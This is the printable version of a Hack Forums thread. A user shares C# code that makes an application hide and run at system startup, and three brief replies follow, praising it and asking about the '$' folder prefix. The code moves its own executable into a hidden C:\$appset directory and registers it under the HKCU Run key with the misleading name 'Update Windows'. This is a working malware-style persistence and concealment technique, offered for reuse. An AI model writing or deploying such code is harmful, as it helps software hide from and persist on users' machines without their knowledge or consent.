Hack Forums
[C#] Hide and run at system startup - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] Hide and run at system startup (/showthread.php?tid=6107497)



Hide and run at system startup - Astate - Sep 5, 2020

Allows your application to hide and run at system startup !

It will create an invisible directory, change the name and copy it to the invisible directory...
then it will create a new registry key to run on startup

Code
using System;
using System.IO;
using Microsoft.Win32;
using System.Windows.Forms;

namespace Speech__Runtime
{
    public partial class Form1 : Form
    {     
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {         
           
           Directory.CreateDirectory(@"C:\$appset");

           DirectoryInfo dirInfo = new DirectoryInfo(@"C:\$appset\");
           dirInfo.Attributes = FileAttributes.Hidden;

           File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\$appset\SpeechRun.exe");

           RegistryKey regkey;
           string subKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
           regkey = Registry.CurrentUser.CreateSubKey(subKey);
           regkey.SetValue("Update Windows", "C:\\$appset\\SpeechRun.exe");
           regkey.Close();         
        }
    }
}



RE: Hide and run at system startup - Freak_OG - Sep 6, 2020

Interesting, this could have some good uses, hiding files + setting system attribute doesnt seem to do the trick anymore

Great share :D


RE: Hide and run at system startup - jcbullet - Sep 9, 2020

What is the $ (dollar) doing to the folder?..i know some rootkits use this a prefix for hiding but i cant see how its doing anything in this code snippet ?


RE: Hide and run at system startup - CrystalFlare - Dec 15, 2020

I was looking for this, thank you for sharing this tutorial